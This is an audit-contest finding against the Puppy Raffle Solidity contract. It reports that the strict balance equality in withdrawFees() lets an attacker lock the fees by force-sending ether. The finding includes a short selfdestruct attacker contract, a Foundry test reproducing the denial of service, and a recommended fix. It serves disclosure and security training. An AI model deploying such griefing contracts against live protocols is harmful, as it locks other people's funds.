Submission Details
Severity:
Funds locked due to Dangerous Strict Equality
Summary
Use of strict equalities that can be easily manipulated by an attacker.
Vulnerability Details
function withdrawFees() external {
//@audit-issue Funds can be locked due to strict equality https://github.com/crytic/slither/wiki/Detector-Documentation#dangerous-strict-equalities
// @audit-issue (Filed)Use if statements for gas optimization
// @audit-issue I see the intention of this require statement, but the problem is if a malicious attacker self destruct and send ether to this contract, funds will be locked
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
//@audit-ok C-EI but the check above used is wrong
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
https://github.com/Cyfrin/2023-10-Puppy-Raffle/blob/07399f4d02520a2abf6f462c024842e495ca82e4/src/PuppyRaffle.sol#L157C1-L163C6
Exploit Contract
// SPDX-License-Identifier: UNLICENSE
import {PuppyRaffle} from "./PuppyRaffle.sol";
contract Attacker_Self_Destruct {
address public owner;
PuppyRaffle puppyraffle;
constructor(PuppyRaffle _puppyraffle) payable {
puppyraffle = PuppyRaffle(_puppyraffle); // Initialize the puppyraffle contract
}
//Causing Denial of Service and funds locked
function attack() external {
address payable addr = payable(address(puppyraffle));
selfdestruct(addr);
}
}
Test Case
function test_strict_equality_locked_funds() public playersEntered{
address attacker = makeAddr("attacker");
vm.deal(attacker,1 ether); // Lesson learnt, remember to fund attacker with ether if you are trying to mess around with ether. Else you will be stuck finding the reasons~~
vm.startPrank(attacker);
attacker_contract = new Attacker_Self_Destruct{value:1 ether}(puppyRaffle);
attacker_contract.attack();
emit log_uint(address(puppyRaffle).balance);
vm.stopPrank();
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
// uint256 expectedPrizeAmount = ((entranceFee * 4) * 20) / 100;
puppyRaffle.selectWinner();
vm.expectRevert(bytes("PuppyRaffle: There are currently players active!"));
puppyRaffle.withdrawFees();
}
Impact
Funds are to be locked within the contract and unable to withdraw to feeAddress render the protocol broken.
Tools Used
Foundry & Manual Review
Recommendations
Don't use strict equality to determine if an account has enough Ether or tokens.
Can create a Boolean variable to check if contest is active, and when winners are selected, set contest to false.
Updates
Lead Judging Commences
Hamiltonite about 2 years ago
Submission Judgement Published Assigned finding tags:
greifers-send-money-to-contract-to-block-withdrawfees
Rewards breakdown
nSLOC
143This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.